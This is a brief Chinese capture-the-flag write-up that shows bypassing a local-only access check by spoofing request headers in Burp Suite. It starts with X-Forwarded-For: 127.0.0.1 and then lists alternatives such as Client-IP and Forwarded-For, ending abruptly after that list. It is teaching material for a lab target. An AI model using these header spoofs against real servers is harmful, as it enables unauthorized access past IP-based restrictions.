一、题目链接

http://a.y1ng.vip:1126/canyouaccess/

二、题意解析

访问该网址，发现提示：

因此

那么需要修改http请求包中的一些参数来让服务器认为我们是从本地访问的：使用brupsuite进行抓包

三、解法步骤

选择一条HTTP记录，点开

现在对其进行修改，为了看到每次修改后的结果，我们可以把它传入到'Repeater'选项卡中：

这样：

接着在Pepeater中添加上：X-Forwarded-For:127.0.0.1，表示该HTTP请求包来自本地，接着点GO，尝试是否成功：

返回包中显示：你以为我不知道X-Forwared-For，说明该伪造本地请求方式被过滤，这时候需要更多的本地请求方式试试：

 1 Client-IP:127.0.0.1
 2 Forwarded-For-Ip: 127.0.0.1
 3 Forwarded-For: 127.0.0.1
